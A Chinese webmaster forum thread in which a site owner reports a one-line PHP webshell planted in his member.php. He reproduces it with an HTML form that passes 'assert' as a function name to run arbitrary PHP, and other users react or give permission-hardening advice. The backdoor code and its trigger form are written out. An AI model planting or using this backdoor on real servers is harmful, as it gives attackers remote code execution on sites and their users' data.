某人在我一个页面里留下了这个

miniloop · 发表于 2012-2-16 15:13:27

本帖最后由 miniloop 于 2012-2-16 17:42 编辑

莫名奇妙就负载奇高，默默地查了一晚上，发现某人在一个php页面里留下了这个

@ $_GET['page']($_POST['item']);

复制代码

这不就是传说中的一句话后门么？

======================================
编辑for更新

黑阔厉害啊，尼玛查半天终于知道他是怎样搞的了。
由于我装系统的时候就禁用了eval，他不可能用，网上查了半天知道了
assert也可以直接执行php代码。
现在在本机模拟了下。

建一个post.html

<form action = "test.php?page=assert" method = "post">
<input type = "text" name = "item" />
<input type = "submit" value = "运行" />
</form>

复制代码

复制代码
再建一个test.php

<?php $_GET['page']($_POST['item']); ?>

复制代码

复制代码
这个post.html在任何电脑上运行都可以，只要action的地址是那个test.php.

在输入框里输入： phpinfo(); 点击运行按钮，
尼玛 phpinfo就直接出来啦，太可怕了，这可以为所欲为了啊

dfdfdf.gif (5.61 KB, 下载次数: 3)

dfdfdfttt.gif (12.51 KB, 下载次数: 0)

czc111222 · 发表于 2012-2-23 00:44:10

不懂

小晖 · 发表于 2012-2-22 06:39:16

楼主v5, 这样也可以查到。

x10 · 发表于 2012-2-20 20:36:14

这个真危险啊

hising · 发表于 2012-2-19 23:37:09

学习了

mslxd · 发表于 2012-2-19 17:31:27

php比较自由，所以比较危险

肉鸟 · 发表于 2012-2-19 03:32:21

真心看不懂

cquyf · 发表于 2012-2-18 23:19:20

不懂啊

wmfy808 · 发表于 2012-2-18 23:07:41

miniloop 发表于 2012-2-17 17:40
传毛文件！

真实情况是那家伙不知从哪个漏洞进来了并在我的member.php这个文件上加了那一句话，test.php是 ...

不给member.php修改权限，只给执行权限，他怎么加进去？安全权限要做好，就不怕了

半成年 · 发表于 2012-2-18 22:59:55

提示: 作者被禁止或删除内容自动屏蔽

		自动登录	找回密码
密码			注册

半成年半成年当前离线积分 625	48^# 发表于 2012-2-18 22:59:55 \| 只看该作者提示: 作者被禁止或删除内容自动屏蔽
半成年半成年当前离线积分 625
	回复支持反对举报

某人在我一个页面里留下了这个

评分

浏览过的版块